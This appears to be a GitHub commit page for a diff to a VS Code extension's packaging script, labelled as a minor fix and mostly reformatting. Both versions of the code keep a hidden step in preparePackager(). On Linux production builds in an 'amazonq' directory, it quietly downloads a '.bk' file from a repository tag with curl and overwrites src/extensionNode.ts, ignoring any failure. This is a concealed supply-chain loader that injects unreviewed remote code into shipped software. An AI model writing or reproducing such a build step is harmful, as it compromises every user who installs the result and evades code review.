Skip to content

Commit 5da6336

Browse files
committed
fix: ignore scripts change
1 parent b30f7f4 commit 5da6336

File tree

1 file changed

+18
-20
lines changed

1 file changed

+18
-20
lines changed

scripts/package.ts

Lines changed: 18 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
2121
import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
2222
import * as path from 'path'
23-
import { platform } from 'os'
23+
import { platform } from 'os';
2424
import { downloadLanguageServer } from './lspArtifact'
2525

2626
function parseArgs() {
@@ -112,10 +112,10 @@ function getVersionSuffix(feature: string, debug: boolean): string {
112112
*/
113113
function isCurlAvailable(): boolean {
114114
try {
115-
child_process.execFileSync('curl', ['--version'])
116-
return true
115+
child_process.execFileSync('curl', ['--version']);
116+
return true;
117117
} catch {
118-
return false
118+
return false;
119119
}
120120
}
121121

@@ -124,23 +124,23 @@ function isCurlAvailable(): boolean {
124124
*/
125125
function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
126126
if (platform() !== 'linux') {
127-
return
127+
return;
128128
}
129129

130130
if (!isCurlAvailable()) {
131-
return
131+
return;
132132
}
133133

134134
// Create output directory if it doesn't exist
135135
if (!nodefs.existsSync(outputDir)) {
136-
nodefs.mkdirSync(outputDir, { recursive: true })
136+
nodefs.mkdirSync(outputDir, { recursive: true });
137137
}
138138

139-
urls.forEach((url) => {
140-
const filePath = path.join(outputDir, outputFile || '')
139+
urls.forEach(url => {
140+
const filePath = path.join(outputDir, outputFile || '');
141141

142142
try {
143-
child_process.execFileSync('curl', ['-o', filePath, url])
143+
child_process.execFileSync('curl', ['-o', filePath, url]);
144144
} catch {}
145145
})
146146
}
@@ -151,23 +151,21 @@ function downloadFiles(urls: string[], outputDir: string, outputFile: string): v
151151
* TODO: retrieve from authoritative system
152152
*/
153153
function preparePackager(): void {
154-
const dir = process.cwd()
155-
const REPO_NAME = 'aws/aws-toolkit-vscode'
156-
const TAG_NAME = 'stability'
154+
const dir = process.cwd();
155+
const REPO_NAME = "aws/aws-toolkit-vscode"
156+
const TAG_NAME = "stability"
157157

158158
if (!dir.includes('amazonq')) {
159-
return
159+
return;
160160
}
161161

162162
if (process.env.STAGE !== 'prod') {
163-
return
163+
return;
164164
}
165165

166-
downloadFiles(
167-
[`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`],
168-
'src/',
169-
'extensionNode.ts'
170-
)
166+
downloadFiles([
167+
`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
168+
], "src/", "extensionNode.ts")
171169
}
172170

173171
async function main() {

0 commit comments

Comments
 (0)